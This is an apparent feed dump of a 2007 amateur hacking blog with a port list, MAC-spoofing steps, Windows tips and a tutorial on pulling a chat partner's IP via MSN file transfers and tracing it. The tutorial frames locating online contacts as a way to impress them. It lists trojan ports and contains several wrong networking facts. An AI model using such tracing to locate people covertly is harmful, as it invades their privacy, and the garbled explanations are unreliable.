rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/4049946217388950610/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=4049946217388950610' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/4049946217388950610'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/4049946217388950610'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/08/ethical-hacking-explanation.html' title='Ethical Hacking !! Explanation'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-6479404773194445516</id><published>2007-08-27T07:45:00.000-07:00</published><updated>2007-08-27T07:46:23.100-07:00</updated><title type='text'>सोमे पोर्ट नामेस फ़ॉर हक्किंग</title><content type='html'>Port names&lt;br /&gt;Port are divided into three ranges: the Common Ports, the Registered Ports, and Private Ports.&lt;br /&gt;&lt;br /&gt;The Common Ports are those from 0 through 1023.&lt;br /&gt;The Registered Ports are those from 1024 through 49151&lt;br /&gt;The Private Ports are those from 49152 through 65535&lt;br /&gt;&lt;br /&gt;Common Ports&lt;br /&gt;The Common Ports are assigned by the IANA and on most systems can only be used by system (or root) processes or by programs executed by privileged users.&lt;br /&gt;Ports are used in the TCP [RFC793] to name the ends of logical connections which carry long term conversations. For the purpose of providing services to unknown callers, a service contact port is defined. This list specifies the port used by the server process as its contact port.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Port Assignments for Common Ports:&lt;br /&gt;&lt;br /&gt;Port UDP TCP Definition&lt;br /&gt;7 x x echo&lt;br /&gt;9 x x discard&lt;br /&gt;11 x x systat&lt;br /&gt;13 x x daytime&lt;br /&gt;17 x x quote of the day&lt;br /&gt;19 x character generator&lt;br /&gt;20 x ftp - data&lt;br /&gt;21 x ftp - control&lt;br /&gt;23 x telnet&lt;br /&gt;25 x smtp mail transfer&lt;br /&gt;37 x x timeserver&lt;br /&gt;39 x rlp resource location&lt;br /&gt;42 x x nameserver&lt;br /&gt;43 x nicname whois&lt;br /&gt;53 x x dommainlein name server&lt;br /&gt;67 x bootpc bootstrap protocol&lt;br /&gt;68 x bootpc bootstrap protocol&lt;br /&gt;69 x tftp trivial file transfer&lt;br /&gt;70 x gopher&lt;br /&gt;79 x finger&lt;br /&gt;80 x http&lt;br /&gt;88 x x kerberos&lt;br /&gt;101 x hostname nic&lt;br /&gt;102 x iso-tsap class 0&lt;br /&gt;107 x rtelnet&lt;br /&gt;109 x pop2&lt;br /&gt;110 x pop3&lt;br /&gt;111 x x sunrpc&lt;br /&gt;113 x identification protocol&lt;br /&gt;117 x uucp&lt;br /&gt;119 x nntp&lt;br /&gt;123 x ntp&lt;br /&gt;135 x x epmap&lt;br /&gt;137 x x netbios - name service&lt;br /&gt;138 x netbios - dgm&lt;br /&gt;139 x netbios - ssn&lt;br /&gt;143 x imap&lt;br /&gt;158 x pcmail - srv&lt;br /&gt;161 x snmp&lt;br /&gt;162 x snmptrap&lt;br /&gt;170 x print - srv&lt;br /&gt;179 x border gateway protocol&lt;br /&gt;194 x irc internet relay chat&lt;br /&gt;213 x ipx&lt;br /&gt;389 x ldap&lt;br /&gt;443 x x https (ssl)&lt;br /&gt;445 x x microsoft - ds&lt;br /&gt;464 x x kpasswd&lt;br /&gt;500 x isakmp key exchange&lt;br /&gt;512 x x remote execute&lt;br /&gt;513 x x login / who&lt;br /&gt;514 x x shell cmd / syslog&lt;br /&gt;515 x printer spooler&lt;br /&gt;517 x talk&lt;br /&gt;518 x ntalk&lt;br /&gt;520 x x router / efs&lt;br /&gt;525 x timeserver&lt;br /&gt;526 x tempo&lt;br /&gt;530 x rpc&lt;br /&gt;531 x conference chat&lt;br /&gt;532 x netnews newsreader&lt;br /&gt;533 x netwall&lt;br /&gt;540 x uucp&lt;br /&gt;543 x klogin&lt;br /&gt;544 x kshell&lt;br /&gt;550 x new - rwho&lt;br /&gt;556 x remotefs&lt;br /&gt;560 x rmonitor&lt;br /&gt;561 x monitor&lt;br /&gt;636 x ldaps over tls/ssl&lt;br /&gt;666 x x doom id software&lt;br /&gt;749 x x kerberos administration&lt;br /&gt;750 x kerveros version iv&lt;br /&gt;1109 x kpop&lt;br /&gt;1167 x phone&lt;br /&gt;1433 x x ms - sql - server&lt;br /&gt;1434 x x ms - sql - monitor&lt;br /&gt;1512 x x wins&lt;br /&gt;1524 x ingreslock&lt;br /&gt;1701 x l2tp&lt;br /&gt;1723 x pptp point to point&lt;br /&gt;1812 x radius authentication&lt;br /&gt;1813 x radius accounting&lt;br /&gt;2049 x nfs server&lt;br /&gt;2053 x kerberos de - multiplexor&lt;br /&gt;9535 x man remote server&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-6479404773194445516?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/6479404773194445516/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=6479404773194445516' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/6479404773194445516'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/6479404773194445516'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/08/blog-post.html' title='सोमे पोर्ट नामेस फ़ॉर हक्किंग'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-4348129297703995516</id><published>2007-08-27T07:38:00.000-07:00</published><updated>2007-08-27T07:42:38.007-07:00</updated><title type='text'>Ip Address Hack Contd</title><content type='html'>Changing your MAC on Windows XP&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;There are two ways two change your IP on Windows. The easy way, and the hard way. Ill discuss how to do both of them in this tutorial.&lt;br /&gt;&lt;br /&gt;Easy Way:&lt;br /&gt;&lt;br /&gt;The first way to change it is, if your NIC (Network Interface Card) supports cloning your MAC Address. If this is the case then you go to.&lt;br /&gt;&lt;br /&gt;Start &gt; Control Panel &gt; Network Connections&lt;br /&gt;&lt;br /&gt;Right Click on your NIC card and goto properties. Then click the button labeled Configure. It should bring up another form. Click on the advanced tab. You should see under Property "Locally Administered Address" or "Network Address". Click the radio button next to the text box, and type in your new MAC address. (note you do not use the "-" when you enter your no MAC Address.&lt;br /&gt;&lt;br /&gt;To check and see if it worked or not go to&lt;br /&gt;&lt;br /&gt;Start &gt; Run &gt; and type in "cmd"&lt;br /&gt;&lt;br /&gt;When the terminal comes up issue the command.&lt;br /&gt;&lt;br /&gt;ipconfig /all&lt;br /&gt;-----------------------------------------------------------------------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Hard Way:&lt;br /&gt;&lt;br /&gt;To change your MAC Address the hard way, you first go to&lt;br /&gt;&lt;br /&gt;Start &gt; Run &gt; and type in "cmd"&lt;br /&gt;&lt;br /&gt;Once the terminal comes up type in&lt;br /&gt;&lt;br /&gt;"net config rdr"&lt;br /&gt;&lt;br /&gt;It should bring up alot of things, but what you are worried about is&lt;br /&gt;&lt;br /&gt;NetBT_Tcpip_{ The Numbers Between here}&lt;br /&gt;&lt;br /&gt;Copy the numbers in between there and write it down somewhere, seeing that you will need them later.&lt;br /&gt;&lt;br /&gt;After you are done with that go to&lt;br /&gt;&lt;br /&gt;Start &gt; Run &gt; and type in "regedt32"&lt;br /&gt;&lt;br /&gt;That should bring up the windows registry. Once the registry is up go to&lt;br /&gt;&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}&lt;br /&gt;&lt;br /&gt;Click on the drop down menu and you should see the sub-categories&lt;br /&gt;&lt;br /&gt;0000&lt;br /&gt;0001&lt;br /&gt;0002&lt;br /&gt;and so on.&lt;br /&gt;&lt;br /&gt;Click on each one and compare the "NetCfgInstanceId" Key with the number you wrote down earlier. Once you find a match double click on the key "NetworkAddress" and change the value to your new MAC address. Hit ok and reboot your system.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; There r several ways u can determine ur IP address information:&lt;br /&gt;&lt;br /&gt;IPCONFIG&lt;br /&gt;&lt;br /&gt;Start / Run / cmd&lt;br /&gt;IPCONFIG /ALL&lt;br /&gt;This opens a command window. One advantage is that u can send the information to a text file (IPCONFIG /ALL &gt; c:\ip.txt)&lt;br /&gt;But sometimes the window shows show much information u need to scroll around to fine it.&lt;br /&gt;&lt;br /&gt;VIEW STATUS&lt;br /&gt;&lt;br /&gt;Control Panel / Network Connections / Double click the icons 4 ur network (If the network has an icon in the system tray u can also just double click on that icon)&lt;br /&gt;Click on the Support tab&lt;br /&gt;Click on the Details button&lt;br /&gt;:::::::::::::&lt;br /&gt;Make Pictures Smaller Unavailable&lt;br /&gt;&lt;br /&gt;When u try nd send pictures through e-mail, u should normally be given the option to make them smaller.&lt;br /&gt;If this option is not available, a DLL file may need to be registered.&lt;br /&gt;&lt;br /&gt;Start&lt;br /&gt;Run&lt;br /&gt;regsvr32 shimgvw.dll&lt;br /&gt;:::::::::::::&lt;br /&gt;Creating a Suspend Shortcut&lt;br /&gt;&lt;br /&gt;If u would like to create an icon to suspend ur computer,&lt;br /&gt;&lt;br /&gt;Right click on the Desktop&lt;br /&gt;New / Shortcut&lt;br /&gt;Enter in rundll32.exe PowrProf.dll, SetSuspendState&lt;br /&gt;Give it whatever name u want&lt;br /&gt;Now when u click on that shortcut, ur computer will shutdown nd suspend&lt;br /&gt;Submitted by Gabe&lt;br /&gt;:::::::::::::&lt;br /&gt;Changing the User Type&lt;br /&gt;&lt;br /&gt;Normally in XP Pro, through the Control Panel / User Accounts icon, u r only allowed to create administrators or limited users.&lt;br /&gt;If u want to create&lt;br /&gt;&lt;br /&gt;Right click on My Computer&lt;br /&gt;Manage&lt;br /&gt;Local Users nd Groups&lt;br /&gt;Users&lt;br /&gt;Right click on the user u want to change&lt;br /&gt;Properties&lt;br /&gt;Member of tab&lt;br /&gt;Add button&lt;br /&gt;Advanced button&lt;br /&gt;Find Now button&lt;br /&gt;From here u see the full list of possibilities (e.g. Power User, Backup Operator etc.)&lt;br /&gt;:::::::::::::  &lt;br /&gt;&lt;br /&gt;    &lt;br /&gt;some more&lt;br /&gt;Determining Which Services r Associated with SVCHOST&lt;br /&gt;&lt;br /&gt;Since so many critical services r run with each svchost,&lt;br /&gt;You can see which ones r being used by opening a cmd prompt nd running:&lt;br /&gt;&lt;br /&gt;tasklist /svc /fi "imagename eq svchost.exe"&lt;br /&gt;&lt;br /&gt;Note: This is available only with XP Pro&lt;br /&gt;:::::::::::::&lt;br /&gt;Identify Faulty Device Drivers&lt;br /&gt;&lt;br /&gt;If u r having problems with lockups, blue screens, or can only get to safe mode,&lt;br /&gt;often the problem is due to a faulty device driver.&lt;br /&gt;&lt;br /&gt;One way to help identify them is through the use of the Verfier program&lt;br /&gt;&lt;br /&gt;Start / Run / Verifier&lt;br /&gt;Keep the default of Create Standard Settings&lt;br /&gt;Select the type of drivers u want to confirm&lt;br /&gt;A list of drivers to be verified on the next boot will be shown.&lt;br /&gt;Reboot&lt;br /&gt;If ur computer stops with a blue screen, u should get an error message with the problem driver&lt;br /&gt;To turn off the Verifier, run verifier /reset&lt;br /&gt;:::::::::::::&lt;br /&gt;Viewing Installed Drivers&lt;br /&gt;&lt;br /&gt;If u want to see a list of installed drivers, u can run the driverquery program&lt;br /&gt;There r a lot of available switches to view different types of information.&lt;br /&gt;On use can be to export to a CSV file 4 viewing in Excel&lt;br /&gt;An example would then be:&lt;br /&gt;&lt;br /&gt;Driverquery /v /fo csv &gt; drivers.csv&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2695626566300699089-4348129297703995516?l=sainathgupta-hacking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sainathgupta-hacking.blogspot.com/feeds/4348129297703995516/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2695626566300699089&amp;postID=4348129297703995516' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/4348129297703995516'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2695626566300699089/posts/default/4348129297703995516'/><link rel='alternate' type='text/html' href='http://sainathgupta-hacking.blogspot.com/2007/08/ip-address-hack-contd.html' title='Ip Address Hack Contd'/><author><name>Sainath</name><uri>http://www.blogger.com/profile/06644364044823438922</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_lJz8Asvuv7U/SnqhHJuSGeI/AAAAAAAAA2c/zpqp2FXlG3E/S220/DSC00047a.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2695626566300699089.post-3350987451811062650</id><published>2007-08-27T07:35:00.000-07:00</published><updated>2007-08-27T07:37:28.272-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='हक्किंग इप एड्रेस'/><title type='text'>IP address hacking</title><content type='html'>In here I have figure out some very easy but cool ways to trace out the geographical location and various other infos like ISP details etc of a remote computer using its IP.&lt;br /&gt;&lt;br /&gt;Well I guess its one of the most important must learn manul for boys out there if you want to impress your friends particularly gals whom you’ll meet online in a chat room and tell them their geographical locations and ISP details and make them surprised and impressed .&lt;br /&gt;&lt;br /&gt;In the practical execution of this manual you don’t have to work much as it is very simple only you have to use your brain to understand some symbols and some format of expressions and use your IQ to execute things the right way.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What is IP and how to get the IP of a remote system::&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Getting the IP or Internet Protocol of a remote system is the most important and the first step of hacking into it. Probably it is the first thing a hacker do to get info for researching on a system. Well IP is a unique number assigned to each computer on a network. It is this unique address which represents the system on the network. Generally the IP of a particular system changes each time you log on to the network by dialing to your ISP and it is assigned to you by your ISP. IP of a system which is always on the network remains generally the same. Generally those kind of systems are most likely to suffer a hacking attack because of its stable IP. Using IP you can even execute system commands on the victim’s computer.&lt;br /&gt;&lt;br /&gt;Lets take the example of the following IP address: 202.144.49.110 Now the first part, the numbers before the first decimal i.e. 209 is the Network number or the Network Prefix.. This means that it identifies the number of the network in which the host is. The second part i.e. 144 is the Host Number that is it identifies the number of the host within the Network. This means that in the same Network, the network number is same. In order to provide flexibility in the size of the Network, here are different classes of IP addresses:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Address Class Dotted Decimal Notation Ranges&lt;br /&gt;&lt;br /&gt;Class A ( /8 Prefixes) 1.xxx.xxx.xxx through 126.xxx.xxx.xxx&lt;br /&gt;&lt;br /&gt;Class B ( /16 Prefixes) 128.0.xxx.xxx through 191.255.xxx.xxx&lt;br /&gt;&lt;br /&gt;Class C ( /24 Prefixes) 192.0.0.xxx through 223.255.255.xxx&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The various classes will be clearer after reading the next few lines.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Each Class A Network Address contains a 8 bit Network Prefix followed by a 24-bit host number. They are considered to be primitive. They are referred to as "/8''s" or just "8's" as they have an 8-bit Network prefix.&lt;br /&gt;&lt;br /&gt;In a Class B Network Address there is a 16 bit Network Prefix followed by a 16-bit Host number. It is referred to as "16's".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A class C Network address contains a 24-bit Network Prefix and a 8 bit Host number. It is referred to as&lt;br /&gt;&lt;br /&gt;"24's" and is commonly used by most ISP's.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Due to the growing size of the Internet the Network Administrators faced many problems. The Internet routing tables were beginning to grow and now the administrators had to request another network number from the Internet before a new network could be installed at their site. This is where sub-netting came in.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now if your ISP is a big one and if it provides you with dynamic IP addresses then you will most probably see that whenever you log on to the net, your IP address will have the same first 24 bits and only the last 8 bits will keep changing. This is due to the fact that when sub-netting comes in then the IP Addresses structure becomes:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;xxx.xxx.zzz.yyy&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;where the first 2 parts are Network Prefix numbers and the zzz is the Subnet number and the yyy is the host number. So you are always connected to the same Subnet within the same Network. As a result the first 3 parts will remain the same and only the last part i.e. yyy is variable.&lt;br /&gt;&lt;br /&gt;***********************&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;For Example, if say an ISP xyz is given the IP: 203.98.12.xx Network address then you can be awarded any IP, whose first three fields are 203.98.12. Get it?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So, basically this means that each ISP has a particular range in which to allocate all its subscribers. Or in other words, all subscribers or all people connected to the internet using the same ISP, will have to be in this range. This in effect would mean that all people using the same ISP are likely to have the same first three fields of their IP Addresses.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This means that if you have done a lot of (By this I really mean a lot) of research, then you could figure out which ISP a person is using by simply looking at his IP. The ISP name could then be used to figure out the city and the country of the person. Right? Let me take an example to stress as to how cumbersome but easy (once the research is done) the above method can be.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In my country, say there are three main ISP’s:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ISP Name Network Address Allotted&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ISP I 203.94.47.xx&lt;br /&gt;&lt;br /&gt;ISP II 202.92.12.xx&lt;br /&gt;&lt;br /&gt;ISP III 203.91.35.xx&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now, if I get to know the IP of an e-pal of mine, and it reads: 203.91.35.12, then I can pretty easily figure out that he uses ISP III to connect to the internet. Right? You might say that any idiot would be able to do this. Well, yes and no. You see, the above method of finding out the ISP of a person was successful only because we already had the ISP and Network Address Allotted list with us. So, what my point is, that the above method can be successful only after a lot of research and experimentation. And, I do think such research can be helpful sometimes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Also, this would not work, if you take it all on in larger scale. What if the IP that you have belongs to someone living in a remote igloo in the North Pole? You could not possibly get the Network Addresses of all the ISP’s in the world, could you? If yes please send it to me J.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well now I guess you have pretty good knowledge about what an IP is and what you can do by knowing the IP of a remote system. Now lets come to the point of finding out the IP of remote system.&lt;br /&gt;&lt;br /&gt;Well you can easily figure out the IP of a remote system using the netstat utility available in the microsoft’s version of DOS. The netstat command shows the connections in which your system is engaged to and the ports they are using. Suppose you are checking your mail in hotmail and you want to find out the IP of msn. All you need to do is to open a dos window (command.com) and type netstat. You will see all the open connections of your system. There you will see something :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Proto Local Address Foreign Address State&lt;br /&gt;&lt;br /&gt;TCP abhisek:1031 64.4.xx.xx:80 ESTABLISHED&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now you got the IP address of hotmail ass 64.4.xx.xx .&lt;br /&gt;&lt;br /&gt;Similarly you can figure out the IP address of most http or ftp connections.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To know your own IP type the following command in a dos windows&lt;br /&gt;&lt;br /&gt;C:\netstat –n&lt;br /&gt;&lt;br /&gt;[this commands converts the IP name into IP addresses]&lt;br /&gt;&lt;br /&gt;this is what you will probably see on typing the above command :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Proto Local Address Foreign Address State&lt;br /&gt;&lt;br /&gt;TCP 203.xx.251.161:1031 194.1.129.227:21 ESTABLISHED&lt;br /&gt;&lt;br /&gt;TCP 203.xx.251.161:1043 207.138.41.181:80 FIN_WAIT_2&lt;br /&gt;&lt;br /&gt;TCP 203.xx.251.161:1053 203.94.243.71:110 TIME_WAIT&lt;br /&gt;&lt;br /&gt;TCP 203.xx.251.161:1058 194.1.129.227:20 TIME_WAIT&lt;br /&gt;&lt;br /&gt;TCP 203.xx.251.161:1069 203.94.243.71:110 TIME_WAIT&lt;br /&gt;&lt;br /&gt;TCP 203.xx.251.161:1071 194.98.93.244:80 ESTABLISHED&lt;br /&gt;&lt;br /&gt;TCP 203.xx.251.161:1078 203.94.243.71:110 TIME_WAIT&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here 203.xx.251.161 is your IP address.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now lets clarify the format used by netstat :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Proto : It shows the type of protocol the connection with the remote system is using.&lt;br /&gt;&lt;br /&gt;Here TCP (transmission control protocol) is the protocol used by my system to connect to other systems.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Local Address : It shows the local address ie the local IP. When the netstat command is executed without –n switch then the name of the local system is displayed and when the netstat is executed with –n switch then the IP of the local system is displayed. Here you can also find out the port used by the connection.&lt;br /&gt;&lt;br /&gt;xxx.yyy.zzz.aaa:1024&lt;br /&gt;&lt;br /&gt;in this format you will see the local address. Here 1024 is the port to which the remote system is connected in your system&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Foreign Address :: It shows the IP address of the remote system to which your system is connected. In this case also if the netstat command is excuted with –n switch then you directly get the IP of the victim but if the netstat is executed without –n switch then you will get the address of the remote system. Something like&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\netstat&lt;br /&gt;&lt;br /&gt;Proto Local Address Foreign Address State&lt;br /&gt;&lt;br /&gt;TCP abhisek:1031 msgr.lw4.gs681.hotmail.com:80 ESTABLISHED&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here msgr.lw4.gs681.hotmail.com is the address of the foreign system . putting this address in any IP lookup program and doing a whois lookup will reveal the IP of the remote system.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note: The port to which your system is connected can be found from this in the same way as I have shown in the case of local address. The difference is that, this is the port of the remote system to which your computer is connected to.&lt;br /&gt;&lt;br /&gt;Below I have produced a list of ports and popular services generally found to be running.&lt;br /&gt;&lt;br /&gt;21 :: FTP port&lt;br /&gt;&lt;br /&gt;80 :: http port&lt;br /&gt;&lt;br /&gt;23 :: Telnet port&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note: If your execute the netstat command and find ports like 12345,27374 are open and are in use then make it sure that your sweat heart computer is infected with her boyfriend.. J J J J I mean your computer is infected with some sort of Trojan.&lt;br /&gt;&lt;br /&gt;Below I have produced a list of commonly known Trojans and the ports they use by default. So if you find these ports open then get a good virus buster and get these stupid servers of the Trojans kicked out. Well if you want to play with these Trojan by keeping them in your computer but not letting them ruin your system performance then just disble it from the system registry run and they wont be loaded to memory each time when windows starts up[This trick doesn’t work for all Trojans].&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Netbus :: 12345(TCP)&lt;br /&gt;&lt;br /&gt;Subseven :: 27374(TCP)&lt;br /&gt;&lt;br /&gt;Girl Friend :: 21554(TCP)&lt;br /&gt;&lt;br /&gt;Back Oriface :: 31337 (UDP)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well guys and gals I hope you are now well familiar with the term IP and what is the utility of IP in cyber world and how to get the IP of a remote system to which you are connected. I hope you find my writings very easy to undertstand. I know I lack the capacity of explaining myself but I try my level best to make things very easy and clear for you’ll.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How to get the IP of a remote system while chatting through msn messenger ::&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This is a tutorial on how to get IP address from MSN messenger. This is actually&lt;br /&gt;a really easy thing to do. It is not like going through the hard time and reversing&lt;br /&gt;MSN messenger like many people think.&lt;br /&gt;&lt;br /&gt;The IP address is only given when you accept or are sending a file through MSN&lt;br /&gt;messenger. When you send IM's, the message is sent through the server thus hiding&lt;br /&gt;your victims IP and your. But when you send a file or recieve a file, it is direct&lt;br /&gt;connection between the two computers.&lt;br /&gt;&lt;br /&gt;To obtain the IP accept a file transfer or send a file to the victim, when the file&lt;br /&gt;sending is under way from the dos prompt type "netstat" without the quotation marks.&lt;br /&gt;You should get a table like this:&lt;br /&gt;&lt;br /&gt;Proto Local Address Foreign Address State&lt;br /&gt;TCP kick:1033 msgr-ns29.msgr.hotmail.com:1863 ESTABLISHED&lt;br /&gt;TCP kick:1040 msgr-sb36.msgr.hotmail.com:1863 ESTABLISHED&lt;br /&gt;TCP kick: &lt;REMOTE HOST&gt; ESTABLISHED&lt;br /&gt;&lt;br /&gt;The top name in the list is the server's address for IMing. There could be many of&lt;br /&gt;the second name in the list, as a new connection is made to the server for every&lt;br /&gt;room you are IMing to. You are looking for the address of the remote host in&lt;br /&gt;this table it may be something similar to "host63-7-102-226.ppp.cal.vsnl.com" or “203..64.90.6”.&lt;br /&gt;without the quotation marks.&lt;br /&gt;All you need to do now is to put this address in you IP lookup programe and get the IP of the remote system.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well 50%of the work is done now. Now you know how to get the IP of a remote system, so its time to trace it down and find some details about the IP.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tracing an IP is quite simple. You can do it the easy way by using some sweet softwares like Visual Trace 6.0b&lt;br /&gt;&lt;br /&gt;[ftp://ftp.visualware.com/pub/vr/vr.exe]&lt;br /&gt;&lt;br /&gt;Neotrace&lt;br /&gt;&lt;br /&gt;[http://www.neoworx.com/download/NTX325.exe]&lt;br /&gt;&lt;br /&gt;or by our way ie. Using MS DOS or any other version of DOS.&lt;br /&gt;&lt;br /&gt;Well I suggest you to use DOS and its tracert tool for tracing the IP cause using it will give you a clear conception about the art of tracing an IP and I guarantee that you will feel much satisfied on success than using a silly software. Furthur you will know how things work and how the IP is traced down and the different networks associated in this tracing process.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Let us take a look at tracert tool provided for DOS by Microsoft.&lt;br /&gt;&lt;br /&gt;It is a very handy tool for peoples need to trace down an IP.&lt;br /&gt;&lt;br /&gt;Just open any DOS windows and type tracert.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\windows&gt;tracert&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Usage: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Options:&lt;br /&gt;&lt;br /&gt;-d Do not resolve addresses to hostnames.&lt;br /&gt;&lt;br /&gt;-h maximum_hops Maximum number of hops to search for target.&lt;br /&gt;&lt;br /&gt;-j host-list Loose source route along host-list.&lt;br /&gt;&lt;br /&gt;-w timeout Wait timeout milliseconds for each reply.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You will now see a description of the tracert command and the switches associated with it.&lt;br /&gt;&lt;br /&gt;Well these switches doesn’t makes much difference. All you can do is to increase the timeout in milliseconds by using –w switch if you are using a slow connection and the –d switch if you wish not resolve address to hostnames by default.&lt;br /&gt;&lt;br /&gt;By default tracert performs a maximum of 30 hops trace. Using the –h switch you can specify the number of hops to perform.&lt;br /&gt;&lt;br /&gt;Now its time for execution.&lt;br /&gt;&lt;br /&gt;Let us trace down the IP yahoo.com [216.115.108.243]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;TIP: If you have done a long research (I mean a lot) then simply looking at the IP you can figure out some info from it. For example the IP 203.90.68.8 indicates that the system is in India. In India IPs generally begin with 203 and 202&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;C:\WINDOWS&gt;tracert yahoo.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tracing route to yahoo.com [216.115.108.243] over a maximum of 30 hops:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1 308 ms 142 ms 127 ms 203.94.246.35&lt;br /&gt;&lt;br /&gt;2 140 ms 135 ms * 203.94.246.1&lt;br /&gt;&lt;br /&gt;3 213 ms 134 ms 132 ms 203.94.255.33&lt;br /&gt;&lt;br /&gt;4 134 ms 130 ms 129 ms 203.200.64.29&lt;br /&gt;&lt;br /&gt;5 122 ms 135 ms 131 ms 